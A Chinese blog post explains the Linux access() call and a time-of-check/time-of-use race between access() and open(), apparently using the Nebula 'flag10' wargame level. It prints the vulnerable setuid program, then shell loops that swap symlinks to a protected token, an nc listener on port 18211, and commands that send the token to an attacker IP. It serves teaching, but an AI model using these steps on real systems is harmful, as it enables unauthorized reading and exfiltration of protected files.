Linux C:access()时间条件竞争漏洞
access()函数用来检查调用进程是否可以对指定的文件执行某种操作。
================================================================================
来自:https://blog.csdn.net/tigerjibo/article/details/11712039
1.函数功能:
检查调用进程是否可以对指定的文件执行某种操作。
2.函数原型:
1)函数头文件
#include <stdio.h>
#include <unistd.h>
2)函数
int access(const char * pathname, int mode)
3)形参
pathname:需要检测的文件路劲名
mode:需要测试的操作模式。
4)函数返回值说明
成功执行时,返回0。失败返回-1,errno被设为以下的某个值
EINVAL: 模式值无效
EACCES: 文件或路径名中包含的目录不可访问
ELOOP : 解释路径名过程中存在太多的符号连接
ENAMETOOLONG:路径名太长
ENOENT:路径名中的目录不存在或是无效的符号连接
ENOTDIR: 路径名中当作目录的组件并非目录
EROFS: 文件系统只读
EFAULT: 路径名指向可访问的空间外
EIO:输入输出错误
ENOMEM: 不能获取足够的内核内存
ETXTBSY:对程序写入出错
5)mode说明
R_OK 测试读许可权
W_OK 测试写许可权
X_OK 测试执行许可权
F_OK 测试文件是否存在
================================================================================
常见的用法是先用access()函数判断文件是否可以操作,然后再通过open()函数对文件进行相应操作。但是这两者之前存在一个时间差,从而形成了时间条件竞争漏洞,越权读取文件。
参考下面的代码:
#include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Damn. Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf("wrote file!\n"); } else { printf("You don't have access to %s\n", file); } }
先通过access()判断传参文件是否可读(注意:这里access()函数检查的是ruid,而不是euid),然后open()打开文件进行读取并发送数据。access()与open()之间存在时间差,且由于这里access()判断的是ruid,所以可以通过频繁改变目标文件,使得access()和open()判断的不是同一个文件,即可越权打开文件
*****************************************************************************
*利用方法:
假设token文件为当前用户不可读
1、编写脚本,将有权限与没有权限的文件循环指向同一个文件
while true; do ln -sf /home/flag10/token /tmp/ttt ln -sf /tmp/aaa /tmp/ttt done
2、攻击侧监听18211端口
while true;do nc -lvnp 18211;done
3、执行该程序,获取文件
while true; do /home/flag10/flag10 /tmp/ttt 10.211.55.2 done